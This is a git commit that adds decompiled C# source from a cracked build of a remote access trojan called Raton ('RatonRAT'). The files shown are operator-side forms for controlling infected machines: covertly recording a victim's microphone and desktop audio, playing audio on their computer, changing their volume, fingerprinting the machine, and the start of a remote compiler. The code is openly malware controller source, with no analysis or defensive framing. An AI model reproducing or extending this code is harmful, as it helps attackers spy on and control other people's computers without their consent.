initial commit
This commit is contained in:
@@ -0,0 +1,40 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Classes.DarkMode
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Classes;
|
||||
|
||||
public static class DarkMode
|
||||
{
|
||||
private static readonly DarkModeCS.DisplayMode darkMode = DarkModeCS.DisplayMode.DarkMode;
|
||||
private const int DWMWA_BORDER_COLOR = 34;
|
||||
|
||||
[DllImport("dwmapi.dll")]
|
||||
private static extern int DwmSetWindowAttribute(
|
||||
IntPtr hwnd,
|
||||
int dwAttribute,
|
||||
ref int pvAttribute,
|
||||
int cbAttribute);
|
||||
|
||||
public static void Start(Form form)
|
||||
{
|
||||
new DarkModeCS(form).ColorMode = DarkMode.darkMode;
|
||||
Color color = Color.FromArgb(174, (int) sbyte.MaxValue, 226);
|
||||
DarkMode.SetBorderColor(form, color);
|
||||
}
|
||||
|
||||
private static void SetBorderColor(Form form, Color color)
|
||||
{
|
||||
int pvAttribute = (int) color.R | (int) color.G << 8 | (int) color.B << 16 /*0x10*/;
|
||||
DarkMode.DwmSetWindowAttribute(form.Handle, 34, ref pvAttribute, 4);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Classes.DeviceManager
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using WpfApp1;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Classes;
|
||||
|
||||
public static class DeviceManager
|
||||
{
|
||||
private static readonly string DeviceFile = Path.Combine(MainWindow.appData, "device.id");
|
||||
|
||||
public static string GetHWID()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Cryptography"))
|
||||
{
|
||||
if (registryKey != null)
|
||||
{
|
||||
object obj = registryKey.GetValue("MachineGuid");
|
||||
if (obj != null)
|
||||
return DeviceManager.Sha256(obj.ToString());
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return $"HWID-{Environment.MachineName}-{Environment.UserName}";
|
||||
}
|
||||
|
||||
public static string GetOrCreateId()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (File.Exists(DeviceManager.DeviceFile))
|
||||
return File.ReadAllText(DeviceManager.DeviceFile).Trim();
|
||||
string contents = Guid.NewGuid().ToString("N");
|
||||
Directory.CreateDirectory(Path.GetDirectoryName(DeviceManager.DeviceFile));
|
||||
File.WriteAllText(DeviceManager.DeviceFile, contents);
|
||||
return contents;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return Guid.NewGuid().ToString("N");
|
||||
}
|
||||
}
|
||||
|
||||
private static string Sha256(string input)
|
||||
{
|
||||
using (SHA256 shA256 = SHA256.Create())
|
||||
{
|
||||
byte[] hash = shA256.ComputeHash(Encoding.UTF8.GetBytes(input));
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
foreach (byte num in hash)
|
||||
stringBuilder.Append(num.ToString("x2"));
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,199 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Audio.ratonAudio
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using RatonAccessTool.Controls;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Audio;
|
||||
|
||||
public class ratonAudio : Form
|
||||
{
|
||||
private string path = string.Empty;
|
||||
private IContainer components;
|
||||
private AeroListView aeroListView1;
|
||||
private RgbBuildButton button1;
|
||||
private RgbBuildButton button2;
|
||||
private Timer timer1;
|
||||
private ColumnHeader columnHeader1;
|
||||
private ColumnHeader columnHeader2;
|
||||
private ImageList imageList1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonAudio()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
this.LoadAudioFiles();
|
||||
}
|
||||
|
||||
private void ratonAudio_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button2_Click(object sender, EventArgs e)
|
||||
{
|
||||
using (OpenFileDialog openFileDialog = new OpenFileDialog())
|
||||
{
|
||||
openFileDialog.Filter = "Supported by RatonRAT|*.mp3";
|
||||
openFileDialog.Title = "Select an audio file";
|
||||
if (openFileDialog.ShowDialog() != DialogResult.OK)
|
||||
return;
|
||||
this.path = openFileDialog.FileName;
|
||||
}
|
||||
}
|
||||
|
||||
private void LoadAudioFiles()
|
||||
{
|
||||
string path = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Audios");
|
||||
if (!Directory.Exists(path))
|
||||
return;
|
||||
foreach (string file in Directory.GetFiles(path, "*.mp3"))
|
||||
{
|
||||
ListViewItem listViewItem = new ListViewItem(Path.GetFileName(file))
|
||||
{
|
||||
ImageIndex = 0
|
||||
};
|
||||
listViewItem.SubItems.Add(file);
|
||||
listViewItem.ImageIndex = 0;
|
||||
this.aeroListView1.Items.Add(listViewItem);
|
||||
}
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(this.path) || !File.Exists(this.path))
|
||||
{
|
||||
int num1 = (int) Messenger.MessageBox("Select a valid file", "Error", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
else
|
||||
{
|
||||
byte[] numArray = File.ReadAllBytes(this.path);
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "PlayAudio");
|
||||
pack.Set("Audio", numArray);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
int num2 = (int) Messenger.MessageBox("The audio was sent", "Sent", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
int num = (int) Messenger.MessageBox(ex.Message, "Error", icon: MessageBoxIcon.Hand);
|
||||
}
|
||||
}
|
||||
|
||||
private void aeroListView1_SelectedIndexChanged(object sender, EventArgs e)
|
||||
{
|
||||
if (this.aeroListView1.SelectedItems.Count <= 0)
|
||||
return;
|
||||
this.path = this.aeroListView1.SelectedItems[0].SubItems[1].Text;
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter = new AeroListView.ListViewColumnSorter();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonAudio));
|
||||
this.aeroListView1 = new AeroListView();
|
||||
this.columnHeader1 = new ColumnHeader();
|
||||
this.columnHeader2 = new ColumnHeader();
|
||||
this.imageList1 = new ImageList(this.components);
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.button2 = new RgbBuildButton();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.SuspendLayout();
|
||||
this.aeroListView1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.aeroListView1.Columns.AddRange(new ColumnHeader[2]
|
||||
{
|
||||
this.columnHeader1,
|
||||
this.columnHeader2
|
||||
});
|
||||
this.aeroListView1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.aeroListView1.FullRowSelect = true;
|
||||
this.aeroListView1.HideSelection = false;
|
||||
this.aeroListView1.Location = new Point(11, 12);
|
||||
viewColumnSorter.Order = SortOrder.None;
|
||||
viewColumnSorter.SortColumn = 0;
|
||||
this.aeroListView1.LvwColumnSorter = viewColumnSorter;
|
||||
this.aeroListView1.Name = "aeroListView1";
|
||||
this.aeroListView1.Size = new Size(506, 272);
|
||||
this.aeroListView1.SmallImageList = this.imageList1;
|
||||
this.aeroListView1.TabIndex = 0;
|
||||
this.aeroListView1.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView1.View = View.Details;
|
||||
this.aeroListView1.SelectedIndexChanged += new EventHandler(this.aeroListView1_SelectedIndexChanged);
|
||||
this.columnHeader1.Text = "Audio name";
|
||||
this.columnHeader1.Width = 193;
|
||||
this.columnHeader2.Text = "Path";
|
||||
this.columnHeader2.Width = 311;
|
||||
this.imageList1.ImageStream = (ImageListStreamer) componentResourceManager.GetObject("imageList1.ImageStream");
|
||||
this.imageList1.TransparentColor = Color.Transparent;
|
||||
this.imageList1.Images.SetKeyName(0, "Audio_16x.png");
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Segoe UI", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_headphones_sound_wave_24_filled;
|
||||
this.button1.IconSize = 25;
|
||||
this.button1.IconSpacing = 8;
|
||||
this.button1.Location = new Point(10, 333);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(508, 37);
|
||||
this.button1.TabIndex = 1;
|
||||
this.button1.Text = "Send audio";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.button2.Cursor = Cursors.Arrow;
|
||||
this.button2.Font = new Font("Segoe UI", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.button2.ForeColor = Color.White;
|
||||
this.button2.Icon = (Image) Resources.ic_fluent_folder_arrow_up_24_filled;
|
||||
this.button2.IconSize = 25;
|
||||
this.button2.IconSpacing = 8;
|
||||
this.button2.Location = new Point(11, 290);
|
||||
this.button2.Name = "button2";
|
||||
this.button2.Size = new Size(507, 37);
|
||||
this.button2.TabIndex = 2;
|
||||
this.button2.Text = "Use a custom audio";
|
||||
this.button2.Click += new EventHandler(this.button2_Click);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(528, 385);
|
||||
this.Controls.Add((Control) this.button2);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.aeroListView1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonAudio);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonAudio);
|
||||
this.Load += new EventHandler(this.ratonAudio_Load);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,139 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Audio.ratonMicrophone
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Audio;
|
||||
|
||||
public class ratonMicrophone : Form
|
||||
{
|
||||
public bool isRecording;
|
||||
private IContainer components;
|
||||
private Button button1;
|
||||
private Timer timer1;
|
||||
public Label label1;
|
||||
public FlatProgressBar flatProgressBar1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonMicrophone()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonMicrophone_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.label1.Text = $"Recording audio from {this.SillyClient.uid} | Size: 0kb | KBPS: 0";
|
||||
this.timer1.Start();
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
AudioPlayer.Remove(this.SillyClient.uid);
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (!this.isRecording)
|
||||
{
|
||||
this.label1.Text = "Starting...";
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StartRecording");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.isRecording = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StopRecording");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.isRecording = false;
|
||||
AudioPlayer.Remove(this.SillyClient.uid);
|
||||
this.flatProgressBar1.Value = 0;
|
||||
}
|
||||
}
|
||||
|
||||
private void ratonMicrophone_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StopRecording");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
AudioPlayer.Remove(this.SillyClient.uid);
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonMicrophone));
|
||||
this.button1 = new Button();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.flatProgressBar1 = new FlatProgressBar();
|
||||
this.label1 = new Label();
|
||||
this.SuspendLayout();
|
||||
this.button1.BackgroundImage = (Image) Resources.record;
|
||||
this.button1.BackgroundImageLayout = ImageLayout.Zoom;
|
||||
this.button1.Location = new Point(15, 33);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(33, 32 /*0x20*/);
|
||||
this.button1.TabIndex = 0;
|
||||
this.button1.Text = " ";
|
||||
this.button1.UseVisualStyleBackColor = true;
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.flatProgressBar1.BackColor = SystemColors.WindowFrame;
|
||||
this.flatProgressBar1.Location = new Point(54, 33);
|
||||
this.flatProgressBar1.Name = "flatProgressBar1";
|
||||
this.flatProgressBar1.ProgressBarColor = Color.Green;
|
||||
this.flatProgressBar1.Size = new Size(413, 29);
|
||||
this.flatProgressBar1.TabIndex = 1;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(16 /*0x10*/, 14);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(333, 16 /*0x10*/);
|
||||
this.label1.TabIndex = 2;
|
||||
this.label1.Text = "Recording audio from Raton_1234567 | Size: 0kb | KBPS: 0";
|
||||
this.AutoScaleDimensions = new SizeF(5f, 14f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.BackColor = SystemColors.ButtonFace;
|
||||
this.ClientSize = new Size(479, 82);
|
||||
this.Controls.Add((Control) this.flatProgressBar1);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Font = new Font("Microsoft JhengHei", 6.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Margin = new Padding(2, 3, 2, 3);
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonMicrophone);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonMicrophone);
|
||||
this.FormClosing += new FormClosingEventHandler(this.ratonMicrophone_FormClosing);
|
||||
this.Load += new EventHandler(this.ratonMicrophone_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,137 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Audio.ratonSystemRecording
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Audio;
|
||||
|
||||
public class ratonSystemRecording : Form
|
||||
{
|
||||
public bool isRecording;
|
||||
private IContainer components;
|
||||
public FlatProgressBar flatProgressBar1;
|
||||
private Button button1;
|
||||
public Label label1;
|
||||
private Timer timer1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonSystemRecording()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonSystemRecording_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.label1.Text = $"Recording desktop audio from {this.SillyClient.uid} | Size: 0kb | KBPS: 0";
|
||||
this.timer1.Start();
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
AudioPlayer.Remove(this.SillyClient.uid);
|
||||
}
|
||||
|
||||
private void ratonSystemRecording_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StopSystemRecording");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
AudioPlayer.Remove(this.SillyClient.uid);
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (!this.isRecording)
|
||||
{
|
||||
this.label1.Text = "Starting...";
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StartSystemRecording");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.isRecording = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StopSystemRecording");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.isRecording = false;
|
||||
AudioPlayer.Remove(this.SillyClient.uid);
|
||||
this.flatProgressBar1.Value = 0;
|
||||
}
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonSystemRecording));
|
||||
this.label1 = new Label();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.button1 = new Button();
|
||||
this.flatProgressBar1 = new FlatProgressBar();
|
||||
this.SuspendLayout();
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(13, 11);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(382, 16 /*0x10*/);
|
||||
this.label1.TabIndex = 5;
|
||||
this.label1.Text = "Recording desktop audio from Raton_1234567 | Size: 0kb | KBPS: 0";
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.button1.BackgroundImage = (Image) Resources.record;
|
||||
this.button1.BackgroundImageLayout = ImageLayout.Zoom;
|
||||
this.button1.Location = new Point(12, 30);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(33, 32 /*0x20*/);
|
||||
this.button1.TabIndex = 3;
|
||||
this.button1.Text = " ";
|
||||
this.button1.UseVisualStyleBackColor = true;
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.flatProgressBar1.BackColor = SystemColors.WindowFrame;
|
||||
this.flatProgressBar1.Location = new Point(51, 30);
|
||||
this.flatProgressBar1.Name = "flatProgressBar1";
|
||||
this.flatProgressBar1.ProgressBarColor = Color.Green;
|
||||
this.flatProgressBar1.Size = new Size(589, 29);
|
||||
this.flatProgressBar1.Style = ProgressBarStyle.Marquee;
|
||||
this.flatProgressBar1.TabIndex = 4;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(652, 78);
|
||||
this.Controls.Add((Control) this.flatProgressBar1);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonSystemRecording);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonSystemRecording);
|
||||
this.FormClosing += new FormClosingEventHandler(this.ratonSystemRecording_FormClosing);
|
||||
this.Load += new EventHandler(this.ratonSystemRecording_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,137 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Audio.ratonVolume
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Audio;
|
||||
|
||||
public class ratonVolume : Form
|
||||
{
|
||||
private int scrolling;
|
||||
private IContainer components;
|
||||
private TrackBar trackBar1;
|
||||
private Label label1;
|
||||
private Label label2;
|
||||
private Timer timer1;
|
||||
private Label label3;
|
||||
private Timer timer2;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonVolume()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonVolume_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void trackBar1_Scroll(object sender, EventArgs e)
|
||||
{
|
||||
++this.scrolling;
|
||||
this.timer2.Stop();
|
||||
this.timer2.Start();
|
||||
}
|
||||
|
||||
private void timer2_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.scrolling > 999)
|
||||
{
|
||||
this.Close();
|
||||
int num = (int) Messenger.MessageBox("Scroll overload, chill!");
|
||||
}
|
||||
this.timer2.Stop();
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Volume");
|
||||
pack.SetInt("Volume", this.trackBar1.Value);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.label3.Text = this.trackBar1.Value.ToString();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonVolume));
|
||||
this.trackBar1 = new TrackBar();
|
||||
this.label1 = new Label();
|
||||
this.label2 = new Label();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.label3 = new Label();
|
||||
this.timer2 = new Timer(this.components);
|
||||
this.trackBar1.BeginInit();
|
||||
this.SuspendLayout();
|
||||
this.trackBar1.Location = new Point(12, 53);
|
||||
this.trackBar1.Maximum = 100;
|
||||
this.trackBar1.Name = "trackBar1";
|
||||
this.trackBar1.Size = new Size(380, 45);
|
||||
this.trackBar1.TabIndex = 0;
|
||||
this.trackBar1.Value = 50;
|
||||
this.trackBar1.Scroll += new EventHandler(this.trackBar1_Scroll);
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(12, 9);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(124, 16 /*0x10*/);
|
||||
this.label1.TabIndex = 1;
|
||||
this.label1.Text = "Change the volume";
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label2.Location = new Point(12, 25);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new Size(196, 16 /*0x10*/);
|
||||
this.label2.TabIndex = 2;
|
||||
this.label2.Text = "Scroll and the volume will change";
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.label3.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label3.Location = new Point(347, 34);
|
||||
this.label3.Name = "label3";
|
||||
this.label3.Size = new Size(45, 16 /*0x10*/);
|
||||
this.label3.TabIndex = 3;
|
||||
this.label3.Text = "50";
|
||||
this.label3.TextAlign = ContentAlignment.MiddleRight;
|
||||
this.timer2.Interval = 500;
|
||||
this.timer2.Tick += new EventHandler(this.timer2_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(408, 109);
|
||||
this.Controls.Add((Control) this.label2);
|
||||
this.Controls.Add((Control) this.trackBar1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Controls.Add((Control) this.label3);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonVolume);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonVolume);
|
||||
this.Load += new EventHandler(this.ratonVolume_Load);
|
||||
this.trackBar1.EndInit();
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,146 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Compilers.ratonCS
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using FastColoredTextBoxNS;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
